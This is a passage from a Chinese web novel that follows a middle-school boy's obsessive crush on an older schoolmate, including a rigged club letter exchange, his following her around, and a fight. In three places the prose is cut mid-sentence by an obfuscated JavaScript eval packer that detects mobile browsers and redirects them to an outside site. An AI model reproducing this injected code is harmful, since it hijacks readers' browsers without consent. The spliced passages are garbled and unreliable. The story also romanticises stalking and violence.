“咳咳……”赵安琪一口气没喘上来,“谁写?你?你要给他递情书……?” 对方神神秘秘地表示,不试试怎么知道。 从那以后,每当温霖回到座位,她就紧张地瞟着他的手,生怕他带回几张薄薄的纸片。但结果总是颇为遗憾,毕竟赵安琪并非安检机器,同桌也没有义务汇报他的课本里夹着什么。 “温霖,你语文书里有个东西!”言下之意是给我看看。 他“嗯”了一声,反而把书合上。 “温霖,你的情书掉了!”其实根本没这回事。 他单肩背起书包,只回头丢下一句“你看错了”。 过了段时间,赵安琪终于偃旗息鼓。期中考试之后,换同桌的日子快到了,恰巧那几天,温霖居然真的拿回来一封方方正正的信件。她眼睛看直,楞楞地问:“这……总该是情书了吧?” 他说:“不是。” “那是什么啊?” “信,文学社的学姐给的。” “你去文学社啦。” 社团活动通常是高中前辈的特权,他们只是捎带着凑凑热闹。对啊,初中可不如高中部轻松,一天天作业堆成山,体育课还得练那个该死的前滚翻。 ——“赵安琪,物理老师找!” 班门口有人喊。 她匆忙跑到办公室抱物理作业。邻桌是隔壁班主任,指尖正点着桌板,眉头紧锁地教训家长。 “孩子今年十四五岁,正是钻牛尖的时候。” 赵安琪偷偷瞄向那老师手里拿的卷子,名字是女生,有个同班的体育委员男友,两人十分高调。 班主任继续语重心长:“关于早恋的问题,我不止一次在班级里强调过……” 她不自觉挺直了背,心想:管他收到谁的情书呢,只要写信的人不是朋友就好。 * 期中考试平均成绩不佳,老师一怒之下拆了所有双桌,大家心里唉声叹气,悻悻搬动自己的桌椅。两个月过去,位置换来换去,分分合合,终于又盼到温霖坐在后面。 “嗨。”赵安琪转身打招呼。 他正收拾着碳素笔,也冷淡地说了句“嗨”。 她回过身一脸傻笑。 一切相安无事,持续到深冬来临。 那天下了雪,她和潇潇一块儿去食堂买鸡排,两人裹着围巾一路飞奔,结完账又跑了老远钻进湖边的亭子,跺着脚吃起来。 “好冷好冷!” 嘴巴里热乎乎的,呵出雪白的气。赵安琪迷了眼,仿佛看见岸边枯枝下有两道熟悉的身影。 潇潇抬手指着:“快看,有八卦!” “嘘,小声点!” 她们弯着腰躲在仿古的花格栏后,悄悄望着—— 小雪星星点点落下。帅气的男生亲手接过递到眼前的信,而他对面那名女孩,分明长着三班的朋友的脸。 赵安琪手里加了番茄酱的鸡排突然就不香了。 “给他写情书”的提议仍然历历在目。她以为朋友是开玩笑,可谁能想到人家其实在等待一个好日子。 潇潇似乎看呆了:“那女生不是你小学同学吗?” “哦,是啊。”她支支吾吾。 “总会有这种事,”潇潇按住她的肩,“因为温霖太抢手了嘛。” 雪越下越大。 “唉,我鸡排都变凉了。” 她没听懂潇潇的安慰,用力咬了口炸得焦酥的肉,像在咀嚼一块橡皮。 星期三最后一节自习课,赵安琪不敢回头。 教室鸦雀无声,周围不断传来“刷刷”的响,笔尖摩擦着纸面,一会儿连绵不绝,一会儿停歇。她觉得心好累,胃空荡荡的,最终还是忍不住好奇转过身去,对着背后的书包一顿乱翻。 笔记本在哪,笔记本…… 翻了几下,目光终于敢越向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071758|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的桌子。 温霖正垂着头,全神贯注,手中的黑笔在浅淡的横格上飞舞。 没看错的话,那是信纸吧? 他要给今天告白的朋友回信。 原来他喜欢那种类型啊。 三班的朋友长得可爱娇小,娃娃脸,连老师都偶尔袒露出几分溺爱。 赵安琪坐正了,埋头铺开数学练习册,莫名其妙往填空题的空白处写了个“解”。 “你不和小学同学联络啦?”潇潇问。 “她也没来找我呀。”赵安琪说。 后来,圣诞节那周,服务部墙上贴满摇滚社团的海报。 ——“高三夏天前最后的疯狂!” 水彩笔甩出张扬的大字,校内著名的“菠萝风暴”乐队准备进行告别演出,时间在中午,地点是中央礼堂。 赵安琪对摇滚乐一知半解。但看到那些张牙舞爪的海报时,她想起三班的朋友一直是他们的粉丝。等到彻底下定决心,她已经走进礼堂,架子鼓咚咚地震,连了音响的电吉他好像轰隆隆的电闪雷鸣。 礼堂撤掉了所有座椅,学长学姐们站在台下,挤得摩肩接踵。多年以后她会知道,这副场景移到有酒的地方就变成大人们喜欢的Livehouse。 室内暖气十足。一曲完毕,大汗淋漓的乐队主唱握住麦克风。 “到现在,我们已经走过十七年、十八年的人生路。” 舞台下传来一阵嘘声,但台上的表演者依旧信念坚定。 “我们慢慢了解——” “并不是所有人都能毫无保留,继续陪你走下去。” “所以,请欣赏全体社员在高中二年级的共同创作…… “《你是我一时的朋友》。” 他们唱得好糟糕,赵安琪听了一半就听不下去了,麦克风不太灵敏,乐队成员吼得撕心裂肺,音准飘到天上。但她暂时没有离开,因为出去的路被看热闹的人堵死了,还有,因为她旁边误打误撞挤进来一张面熟的脸。 “安琪,你也在呀。” 三班的朋友喜欢乐队的贝斯手,她预感到她一定会来。 赵安琪转着眼珠,若无其事地说:“我凑个热闹。” 话筒对上了音响,滋啦一声啸叫。 乐队成员视若无睹,没有人停下,音乐越来越大越来越快,不断冲击着心脏。 ——“你是我永远永远的朋友。” ——“不管地久不管天长。” 快乐的旋律和节奏,开嗓前却故弄玄虚,搞得那么悲伤。 “我和温霖告白了。” 朋友突然说。 赵安琪听不清:“你说啥——?” 对方凑到她耳边:“我给温霖写了情书!我和他告白了!” 贝斯飞快推进,大家配合鼓点跳了起来,校服袖子上的星星月亮一眨一眨。 “然后呐——?”她问。 “他和我说‘谢谢’!” “还有呢——?” “就只有‘谢谢’!” 高三毕业前最后的疯狂点燃这个冬天。赵安琪往后仰拉开距离,看到朋友涨红了脸颊,嘴角向下撇,毫无征兆地泪流满面。 电吉他solo,让人担忧这栋活了百年的老楼还能不能容下此刻的欢呼与尖叫。 ——“永远永远的朋友!” * “哎呀,没关系嘛,”赵安琪拍拍朋友的肩,“他这个人就这样。” 一次乱七八糟的摇滚乐演出解了一颗心结。幸好,她们以后不会变得无话可说。 朋友认真总结道:“你是对的,他真的铁石心肠,对万事万物都不感兴趣。” 冬天,西北风吹得脸皮快要裂开,两人捧着热橙汁跑到班级后门。 “倒也不用那么绝对吧……” 话音未落,正巧温霖从后门进教室,携着室外的凛然气息与她们擦肩。 和平时一样,纯黑的羽绒服,不合校规的黑短发,唯一不同的是面上挂了彩,唇边还淌着来不及凝固的血珠。 他打架了? 赵安琪和朋友看傻了眼。 “诶——?” 32. 最开始谁先救赎谁? 窗帘密闭,房门反锁,阴暗的卧室里没有一盏灯属于他。 矮桌前色调幽邃的屏幕是唯一光源。画面里,游戏角色手持圆盾短剑,他双眼酸涩,拇指推动手柄摇杆,木讷地看着拐角处闪出一只虎视眈眈的腐尸。 电视机发出骇人惊叫,殷红的大字缓缓浮现。 “YOUDIED”。 与此同时,门外传来脚步和柔和的嗓音:“明天开学,爸爸送你们一起去,早点睡啊。” “好——” 温霖应付着喊了一声。 今天,恰好新学期返校的前一天,两名男性正式住进了他家。一个慈眉善目的新父亲,早在初次见面时就送了他一台PS3;一个高挑且冷漠的新哥哥,据说在北城二中读高中。 男人嘱咐,你以后要和弟弟分享光碟。高二的男生在自己的游戏典藏里挑选,最后拿出一盘《黑暗之魂》。 那天温霖独自玩到深夜。早上再拖十分钟起床,算准时间错过新父亲送高中生哥哥的那班顺风车。 “……我不是故意的。” 他懒懒地穿着衣服从房间里出来,撇开视线。 但妈妈一点也不生气。 自从出轨的旧父亲走了,没人再对他生气。旧爹是个烂人,拿着母亲的钱给外遇对象买宝马,声称遇见了命中注定的另一半。温霖六年级时偷看了他的手机,短信里又亲又抱的,露骨得恶心,他骂了一句,自作主张找到那女人,趁她不注意挤进副驾驶,露出狡黠天真的笑: “这是我爸爸买的。” 事情传出去,旧爹气急败坏打了他一巴掌。 “小兔崽子,就知道跟你妈一伙儿,我等着看你长大是不是还这副德行!” 一年后,温霖长高了点,反过来把旧爹按在地上,骑着那具朽木似的胸腔死死掐住对方的脖子。 手感滑腻却麻木。某一刻他恍惚地怀疑,别人的家庭也是这样么。 再后来,妈妈让他滚了。 旧父亲有过爱,但最终留下的只有恨。温霖对这件事毫无异议,但不久之后,她再次敞开心扉,允许新父亲走入他们的生活。 “小霖,我们要重新开始。” 母亲眼里充满爱意。可温霖想,妈,你是在赌博。 就像在赌我能不能在这个阴郁荒芜、日渐腐败的世界里找到正确的路。 在赌1级的无用之人能不能在骑士亚尔特留斯的剑下生还。 从哥哥手里接过那盘游戏碟时,他就知道答案。 对于小概率的奇迹,温霖一向消极。新学期伊始,第五天,他脑海中循环着电视机里浮现的“YOUDIED”,路过校园主干路右侧的宣传板。 坡道漫长。他脚步顿挫,转头,玻璃窗上一层浅浅的倒影,穿透那影子的是属于新生的新鲜照片。 她。 是她。 温霖眼瞳涣散,又迅速聚焦。透明橱窗残留下他的指纹,而那个瞬间日光亮起,宛如亲手碰到苍凉末日里的篝火一般温暖。 他心底生出一丝信念。 也许这次,你赌对了吧。 * 初中部和高中部像两条平行线,仅在每周一的升旗仪式上短暂贴近。当天六个年级从两道门跑进操场,由南往北朝着主席台依次排列。 那是他的机会,去茫茫人海中找到她。 他在七班,队列位置已经尽可能接近高年级。天高云淡,轮到同班同学上台讲话,那女孩嗓音稚嫩,像个娃娃,曾经在合唱比赛里惊艳四座。 “亲爱的同学老师,上午好,我国旗下讲话的题目是——” 话音一出,所有目光被吸引到主席台。 温霖却朝左侧眺望。 人影幢幢,蓝色校服后是红色,接着又是蓝色。他屏息,竭力游入深海,下沉,逼自己潜得更远,直到喘出最后一口气。 “今天的升旗仪式就到这里,解散!” 操场上掀起惊涛骇浪。温霖逆着人流径直往回走,没有,没有,没有。他不具备鹰的眼睛,也不会飞,于是每个蓝色校服的班级被他钉上锚点,那个戴红眼镜的学姐,那个人高马大的体委,那条麻花辫,那双粗壮的眉毛。终于,他看见宁蓁,她周围的标志缓缓散去,来自高一年级倒数第三个班。 温霖停在不属于他的区域,脚下草坪好像刚被切割过,散发着清新的香气。 找到你了。 二中几乎能用“广阔”来形容,但寻觅她绝非难事。 因为他有点偏执。 因为很多时候,他只看得见她。 “你在干嘛?”课间,赵安琪戳戳他在笔记本上画的线条。 温霖继续计算着:“概率。” “可概率题不是这样做吧?” 同桌一脸好奇看着本子上的圆圈和叉。他觉得越界了,提醒道:“下节物理课。” “对哦!”赵安琪连忙翻开物理辅导书,“快预习快预习。” * 阳光灿烂。 社团招新日,温霖放弃了午饭,叼着半个面包藏进榕树的阴影里默默等待。不远处,高年级学生正为了抢占地盘忙前忙后,踩着树荫搬来展板。 他对社团没兴趣。那是高中生的游戏,人际关系错综复杂,蛛网似的黏合在一起。虽然其中不乏例外,譬如他听说同级的某个女生已经凭借演技拿下了话剧社主演——这种容易流传的新闻,他只在自己需要时才偶尔想起来。 二十分钟过去,路上渐渐热闹了。 招新对象往往是蓝色校服的高一新生,涌动的蓝,荡漾而浩瀚。 但宁蓁不会被埋没。她身上总带着层柔和的光,衬出冷清的眉眼。 她一个人走走停停。 温霖跟在身后保持距离。 她与文学社的社长交谈,点头,微微地笑。 树叶窸窣,万籁俱寂,他拨开眼前的光。一缕发梢垂下,她拿起桌上的笔俯身,顺便抬手轻轻别在耳后。 等宁蓁离开,周遭恢复了既往喧嚣。 “我高二了还能入话剧社吗。” “Whynot,谁说只有新生才能进社团啊?” “可是别人会不会觉得我不务正业……” 旁边的学姐犹犹豫豫,温霖越过她们,率先走向文学社的展板。 “欢迎欢迎!”社长眯起眼睛笑,“想加入文学社吗?不管什么样的文学爱好者都可以,在这里写上信息吧!” 初二的校服也是蓝色,巧合,亦是麻烦。 另一位女生瞥见他衣服上的星星,神情有些为难:“咦,你是初中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071759|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生呀。” 她们坐着,隔了条长桌,比站立的人矮了半截。 “嗯,”温霖垂眼,“不行吗?” 阴影倾斜。碳素笔已经握在手里,而且并不打算放下。 “怎么不行啦,”社长打了圆场,“只要来了就都是好朋友!” 他低身写下姓名和班级,顺带扫了眼报名表,上面通通是高中生,可他只在乎自己那一栏紧贴着宁蓁的名字。 现在是他十年来离她最近的时刻。 但,还不够。 路边的店空着,只要有人停留光顾,后面就会大排长龙。表格也如此,或许他揭下了某个封印,所以到场的新社员里不乏一二年级的初中生。 “感谢大家报名文学社!今天主要介绍我们社内的活动,大家可以自行抉择要不要留下参与……” 十月中旬,新成员首次活动日。讲台上,社长一边讲解,一边用粉笔写着板书。 温霖选了斜后方,离她一排远的座位。 “社内有个不成文的传统,希望你们以‘师兄师妹’相称,这是建校之初的传承,毕竟我们学校拥有超过两百年的历史……” 他目光忍不住移向她白皙的后颈。 如果这样的话,我要叫你师姐。 “文字嘛,用进退废,我们一直延续着初代社长开设的‘鱼传尺素’活动,内容是每两周交换一次匿名信件,在书写过程中训练你的写作能力。至于你究竟要和谁搭配,到时候由我抽签决定。确定想要参加的同学,下周的同一时间……” 窗外变了天。 “抽签”。 温霖的眼神逐渐阴沉。 难道要依赖概率,祈祷幸运女神降临?别开玩笑了。 这种触手可及的机会,他不可能交给运气。 日趋倾颓的绝望世界里也存在bug,夜晚,温霖缩回卧室,拿着手柄想到。 需要一点小把戏。 * 结果在掌控之中。时间飞快,到了第一次收信那天,他心跳怦然,从书架上的木盒里找出画有他们的符号的那封,珍重地拿在手里。 “这……总该是情书了吧?” 赵安琪盯着他的信发呆。 以往接下情书时,温霖习惯把它们轻轻弯一下,藏进校服袖子。 但这次不同。 这次,他偏不想藏。 “不是。” “那是什么啊?” “文学社的学姐给的。” 他没觉得赵安琪刨根问底,反而耐心回答。 故意不说“师姐”,因为那是信里的专属称呼,或者,他希望是这世上独属于自己的称呼。 信件往复,他们以纸笺作为桥梁。师姐用文字袒露了她的心,她会聊喜欢的武侠和推理小说,聊侦探如何摆脱视角的限制以及“后期奎因问题”,她也流露敏感的情绪,对天气,对于季节的变化。校园里的玉兰花期太短,她难免略显伤感,对应那句话,温霖在信纸上写下花谢了叶子才会长出来,小鸟们应该很喜欢。 笔尖谨慎地滑动。 “喜欢”二字,似乎怎么写都不满意。 有时文学社内擦肩而过,他幻想着师姐能不能发现回信的人是我。 但遗憾的,是与你相差三岁的我。 33. 也许你说我是她的狗 “昨天大课间我去看学长练球啦!” “那个一米九的学长?” “对啊对啊,真的好帅,投三分超准的!我们一起躲在台阶上,他还往这边看了呢!” 温霖离开活动教室,迎面撞见两个手挽着手的高一学姐,被迫听见几句闲聊。 一米九。 三分球。 学长。 她们走进去。他冷哼一声,不动声色地移向后门。 “你知道三班的杨灵吧,她好像和菠萝的鼓手成了。” “‘PineappleHurricane’?” “啊,就是高二乐队的鼓手。” 又是学长。 还有摇滚乐队。 温霖不屑地靠在门边,刚要觉得无聊。 “他不是喜欢宁蓁?据说刚开学就一见钟情。” “可宁蓁谁都不搭理啊。那么快找到新欢,是踢到铁板了,面子上过不去吧……” 他浅笑一下,仅仅持续了两秒。 “鼓手都不行,恐怕只有高三的学长才配得上宁蓁喽。” 学姐们语调轻松。 “嘻嘻,我看也是。” * 高二教学楼附近有个篮球场,沉入石阶和坡道之下。 天阴了,不见雨水气味。温霖倚着楼后树荫占据高处,看场上的红绿校服为了一颗球来回追逐。 附近是绕行湖边的必经之路,以前他常来,但秋天隶属于新学期,过去的习惯早该埋进黑暗的旧时代。 “传球传球!” “这边儿!” 唰——篮球网与气流摩擦。球进了,围观的学姐不由自主欢呼雀跃。 看样子是一记高难度上篮。 场外洋溢着热烈气氛,唯独蔓延到温霖那里瞬间冷却。 玩篮球的每个人都高大挺拔,尤其是新父亲带来的新哥。对方比自己早出生四年,就四年而已,身高竟已经超过一米八五,甚至还在生长。 而两周前轮到初中部体检,测量仪还回来的数字足足比他少了10.5厘米。 不甘心。 温霖死气沉沉地注视他们,无意间与篮球场内的新哥视线交锋。 “那、那个……” 忽然,柔弱嗓音打断了重组兄弟沉默的对峙。陌生女孩不知道什么时候出现在他身边,手里捏着一封信。 “你是温霖,对吧,这是我……我朋友写给你的,请、请收下。”她说话磕磕绊绊,脸上微微飘起红晕。 温霖低头看了一眼,没有收进袖子里。 “让你朋友自己来。” “啊……?” “意思是,我不收转交的东西。” 语气里的冷淡已经收敛,却还是让同级的女生满面通红。 “嗯……好!” 她跑掉了。 头也不回,没留下解释的机会。 也许温霖应该直接坦白,他执着于当面收下礼物,是为了能亲口向赠送者道谢。 因为很久以前母亲说过希望他成长为一个善良的人,仔细问候,仔细道别。 这并非金科玉律。可那时候,在他曾经柔软却丑陋的时候,繁枝茂叶遮不住炎炎夏日的光,也遮不住她身影的时候,他耳边响起了妈妈的话。 …… 目光一晃,银杏道上人来人往。 球场内依旧热情泛滥,烧得空气都弥漫着一股焦灼。 “三分!” “快点儿,别犹豫!” 突然,红校服的高三生耍帅失败,篮球脱了手,撞到钢制架划出一道弯弧,不偏不倚砸向坡道上方路过的人。 那是…… 师姐! 他必须跑起来,尽管成年以后他才能做到比风更快。现在,漫长的下沉阶梯与体育组办公室阻隔了去路,幸好她反应及时,稍一抬手格挡,挥开高速旋转的篮球。 咚,一声巨响。 危险被弹回,周围顿时寂静,只剩下塑胶地板上清脆的跳动。 “我草……没出事儿吧?” 高年级生压抑着不安。 离她最近的人主动上前,担起查看伤势的责任。 他喘着气跑到一半,眼睁睁看见师姐仰起头,目光抬升,与挡在她面前的新哥交谈。 * 当天他就希望母亲的再婚对象赶紧带他儿子走。 家里,晚餐是他们难得的交集。饭桌上气压极低,温霖杵起筷子,咬着牙打破了沉默。 “她没受伤吧。” “谁?” “差点被你们的球砸到的女生。” “没有。” 相差四岁,三个年级,距离太遥远,所以通常无话可说。饭后,温霖重重关上卧室门,启动游戏,重新返回腐坏绝望的世界。 “YOUDIED”。 第十五次死在BOSS的雾门后。 角色在地上疯狂翻滚,简直是只焦躁的刺猬。 死亡的杂音鼓噪着心脏。手柄丢在床尾,温霖抱住膝盖,脸上映出屏幕里幽邃的颜色。 校园内流行着崇拜学长的热潮,闭着眼都知道新哥那种人在整个学生生涯能被暗恋多少次。妒忌么,抑或羡慕?无所谓了,他唯一迫切想了解的只有师姐的心意。 篮球场边一面之缘,你会不会对他心生好感。 也许我要亲自确认才行。 又一个长达四十分钟的课间,温霖拨开人群找到她。他侥幸为自己开脱,二中校园终究是块封闭的区域,所以在湖边邂逅只是纯粹的偶然。 微风拂过水面。 他装作同行,远望着那道背影。 湖水折射的光漾起波纹,白鹅上了岸跃向草地,让师姐和她的朋友为之停留。 除了朋友别无他人。 后来她提起了差点被砸到头昏的事,信里文笔流畅生动,将回旋的篮球看作小行星意外飞坠,至于其他无关紧要的人,仅在末尾一笔带过。 师姐不书写悸动的情愫,迄今为止身边也没有任何男生。 他历经两个月得到结论,每天每天,她成为迈进学校大门的支撑。等到该安心时,温霖发现这饮鸩止渴的行为已经成了瘾。 他好像,无法停止。 冬季的气息逐渐来临。 那日寒冷,天倒晴得万里无云,他拉高校服里黑色帽衫的衣领,阴沉地跟在后面。 她左手边总是同一个朋友。她们去了操场,东面围网种着棵杨树,叶子稀稀疏疏落了大半。 温霖漫不经心躲着,实际上不敢逾越一步。 师姐的身影变得迢遥,他看见她在手心捧起一个东西——在来来往往的信件中从未出现过的,能够召唤飞鸟的魔法。 十二月,候鸟早已飞往温暖的南方。有些小家伙还留在北城,白色的,长尾的,活泼灵动的,纷纷张开翅膀,为了她于此降落。 洁白羽毛迷了眼,视线却震撼得愈发清晰。 她腰背笔直,优美身形几乎融化在冰冷的空气。那一刻他胸口泛起痛楚,忽然明白了自己为什么深陷其中。 “永远”是十四岁都不屑一顾的陈词滥调。 但他永远记得她吹奏鸟哨的模样。 斑驳的光洒在眉梢,不可冒犯,不可诱惑,不可动摇。 * 目睹那一幕后,师姐仿佛离他更远了。 清冷的她写下了细腻温柔的信。温霖越迷恋就越被卑微反噬,结果,路边迟迟没被撤掉的宣传板竟变成离她最近的地方。 北城的严冬萧瑟漫长,寒风肆无忌惮敲打窗户。临近期末,文学社活动截止,回信躺在书桌上寄不出去,只好裹着被子,百无聊赖地打开PS3。 他已经习惯了游戏内残忍的折磨,但仍然下意识提防着送给他光碟的人。 有时父母外出约会。闲暇的休息日,新哥在走廊碰见他,欲言又止。 温霖通常低着头默然侧身。 只要不毕业,他就是他的头号假想敌——在这层意义上,他平等地厌恶每个男生。 刺猬竖起浑身尖针,紧接着彻底爆发。 师姐太受欢迎了,然而并非所有人都像他一样小心翼翼地藏着。他认定她不可冒犯,耳朵却捉住污言秽语,在气温只有零下二度的那天。 “宁蓁啊,长得真漂亮。” 羽绒服,蓝裤子。看样子是两个高一的抢了他的宣传栏,对照片指指点点。 “人家可高贵着呢,到现在都没交男朋友。” “这种假正经我初中见得多了,没准以前打过胎呢,哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071760|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈。” 黏稠的笑。 温霖右手攥成拳,青筋狰狞地凸起。 “再说一遍?” 寒风刺骨。空气中白雾消散,露出眼里的肃杀。 高中生们慢吞吞回身:“你他妈谁……” 轮不到他们错愕。笑声从哪儿漏出来,他的拳头就先抡向哪里。两副丑陋的脸孔变了形,怒骂着啃上了地面。 不能再用厌恶两个字形容。 温霖执拗地想,你们,最好去死。 * 天冷得过分,吹裂皮肉的伤口。和高中生打完架,他若无其事迈进教室,吓得看管自习的英语老师睁大眼睛惊呼。 “我带你去找班主任,不是,去医务室!” “不用了老师,我自己找她。” 他手背擦过唇,抹开大片血迹。 办公室内,养在瓶子里的鲜切百合枯萎了。班主任眉头紧皱,手忙脚乱联络了他家长,然后一个劲问为什么要打架。 “老师一直没有限制你的自由,但现在你必须好好交代事情的经过……” 他盯着枯枝败叶淡淡敷衍道,有矛盾,看他不爽,我没错。 五分钟后有人敲门,来的是新哥。他说弟弟得先处理一下伤势,待会儿再带他回来。 温霖不愿领情。 他狠狠甩了个眼神,希望对方闭嘴。 ——我们还不熟吧,你凭什么来关心我。 但班主任准许了。傍晚,正值自习课,走廊里静悄悄的,回荡着两人的脚步。 走过半截路,头顶发着昏,又多了些重量。 “傻瓜。” 他喉咙里满是血腥,说不出话。 新哥揉了揉他的头发:“你不能打架,下次叫我。” * 寒假结束得比想象中快。 每年温霖都期待能长高几厘米,更成熟,更深不可测。初二开学,身体还是不由自主跟在她背后。但他多少有点后悔了,待惯了阴暗的角落却幡然醒悟,怀疑自己是否也在伤害她。 所以,这代表我正在成长吗。 前方吹着轻暖的风,她与朋友形影不离,缓缓走下坡道。 他不应该知道她们的目的地。 对不起,师姐,我不会再做这种事…… “话说,你有没有觉得最近有人跟踪我们?” 宁蓁扭头,温霖看见她的侧脸。 旁边的朋友开玩笑道:“哎呀,这就是美女的烦恼?” “我认真的……” “唔,”朋友摸了摸脑袋,“我在班里倒没觉得,不过和你散步的时候嘛……” 两道身影深蓝如海,打算数过三个数一齐回望。 校园主路宽阔,根本来不及藏。呼吸声猛地放大,心脏收缩,几乎是第一次,他收拾不了属于这个年纪的慌张。 “温——霖——!” 出乎意料,上学期的同桌飞奔过来,高喊他的名字。 “一,二,三!” “我要去买冰淇淋,请你吃呀。” 赵安琪乐天的笑容恰好映入学姐眼中。 朋友打消了疑虑:“是初中生啊,好青春。” 温霖心中松了口气,转身踏上与师姐相反的方向,日落时分,影子在树荫的间隙拉得很长。 服务部人满为患,赵安琪算着巧克力和草莓可爱多的价格,最后被他抢先一步付了钱。 “我请你吧。”他说。 “真的?” “嗯。” 如果可以,他宁愿这份暗恋持续到天荒地老。时间流淌得漫无边际,未来他要经历一次毕业,但有把握通过中考,等到她读高三,他们会在高中部重新相见。 这样就够了。 然而,转折发生在初三的秋天。 也许千分之一的概率,她的自行车掉了链子;也许万分之一的概率,她选择他上学的路线,登上同一辆车。 近在咫尺的时刻终于降临,他才意识到自己究竟有多贪婪。 早高峰,公交车局促颠簸,分不清哪条胳膊对应哪张脸。她背对他,束起的马尾被挤得凌乱,孤零零在身后摇晃。书包撞到一起,甚至肩膀也岌岌可危,引擎泄出的巨大嗡鸣吞没了理智,他迟疑一瞬,右手微微颤着,朝她伸过去。 34. 高速运转的对白拼凑 被推开了。 宁蓁给他发了微信,半夜,位置是中心区豪华酒店。温霖觉得蹊跷,直到拐入小路看见她茫然游荡。 长裙及地,穿在她身上美得惊人,但纤细手臂裸露在外,禁不住夜风寒凉。 温霖脱下外衣给她,动摇的瞳孔隐入黑夜,顺势逼退远方观望的男人。 他们决定离开,路上宁蓁渐渐变得不太稳定。她恍惚,眼里一片虚无,先说想见他,又问他们现在算不算朋友,两句话来回拉扯,勾着他朝希望扑空。 没关系,他想。 风动,吹醒夜色。温霖意识到真正让胸口泛起苦楚的东西——所有她之前零星透露的征兆终于拼凑完整。 她近乎强迫地清洁双手。 她在树林里被野兔子吓得忽然僵直。 她大多时候静止般冻结。 她仿佛,失去了某段记忆。 “不要对我说谎。” 宁蓁的眼泪快溢出来。 深夜,她请求他开车带她回福缘寺。车内气氛降至冰点,剩下高速路灯不断闪烁。等爬上山门已经到了第二天,寺门关了,不得不原路返回。阶梯一级级下,她蒙蒙胧胧错失了一步。那年隔得遥远,阴沉的少年眼看着篮球朝她飞去;但这次,他有能力环住她的腰。 师弟。 温霖听到她呢喃。 山门如流瀑,坠入谷底阒然无声。歉意与愧疚重重袭来,折磨得他残破不堪。 “……师姐,对不起。” 我早该发现你的异样。 宁蓁身体止不住颤抖。温霖目光黯淡,凭借本能轻轻拥住她,泪水打湿了衣襟,像再次重逢的那天飘着小雨。 然后,被她用力推开。 ——这就是他为什么出现在这里。 黑杨参天,景色一成不变,唯独抬头时树冠的距离近了。 一小撮人堆在窗边角落叙旧,三女一男,熟络地有说有笑。 “有帅哥诶!”某个校友对同伴使了个眼色。 旁边人窃窃私语:“不会吧……我们班的?” “哇!谁男大十八变啊,小方?班长?”视线添了一道。 “你们都傻了吧,”同行的男士无奈吐槽,“十年了,二中就咱们一个高三二班?” “哦,学弟啊。” “醒醒吧,咱们班根本没有帅哥。” “等会儿,他过来了!” 二中难得对外开放,念旧的校友围得门口水泄不通。温霖一个人走进去,小路曲径通幽,浓密树影掩映着,遮了影影绰绰的光。 高三教学楼,清净背面是藏入深处的孤独。 教室还不算熙攘。他敛眸,没有放过任何一段对话。 “不好意思,请问是哪一级的校友?” 温霖换上纯粹的笑意。悄悄议论他的女士们忽然正色,眼睛明亮起来。 大概是九年前毕业。对,快十年了。她们答道。 正如他们闲谈所说,时间对得上。他近了一步,假意为巧合而惊叹:“这么巧,我姐以前也在你们班。” “真的假的?你姐姐是……” 他念出她的名字。 后来师姐选了文科,从十二班移到二班。那时高二各班打散重组,温霖发誓绝不再跟着她,不再私下窃取她的消息,但最后允许自己看一眼挂在楼前的分班表。 “是蓁蓁啊,家族遗传的美貌……”她们感叹道。 齐刘海的女士用手肘碰了碰身边,提起旧事:“哎,我记得你还暗恋人家来着。” “当年喜欢宁蓁不是挺正常的事儿,毕竟是我们男孩儿心里捧在尖尖上的白月光啊。” 那人企图用玩笑的语气表演释怀,几位女士扯了扯嘴角,顿时感觉老同学出落得油光水滑。 宁蓁的“弟弟”倒仍笑着,只是眼里有刀。 男人意识到不对,一脸“你懂得”的表情改口道:“嗐,怪大伙儿都跟风,从众心理。” “是吗。”结果温霖嗓音下沉,杀气更重。 “怎么着,老林,你的‘喜欢’还能撤回啊?”她们默默翻了个白眼,一边反驳他一边大方表示,“不过喜欢蓁蓁是挺正常的,我也喜欢她。” “对啊,又漂亮人又好。” “就是有点儿中二。” “嗯?怎么说。” “以前闲聊问过梦想之类的,得到的答案是女侠或者侦探。” “好可爱啊……” “好可爱啊……”微笑引起了附和。 “你们知不知道运动会排练走方阵那次?班主任、体委、班长都默认蓁蓁去举牌,没人跟她商量。” “诶,对了,”女士们的视线在彼此之间转移,“为什么举牌的换成你了啊。” “因为当时我特别想去,反正为这事儿纠结了好久,蓁蓁看出来了,主动和老师说让我替她。” “原来如此,所以才有你惊艳全班的白裙子照片!” 高瘦的女性仰头思索:“但现在想起来挺傻的。大家服装都统一,校服啊,白衬衫啊,那么干净利落,干嘛非得派出一个女孩儿走在前面穿短裙?” “是喔,还必须得盘靓条顺的。” 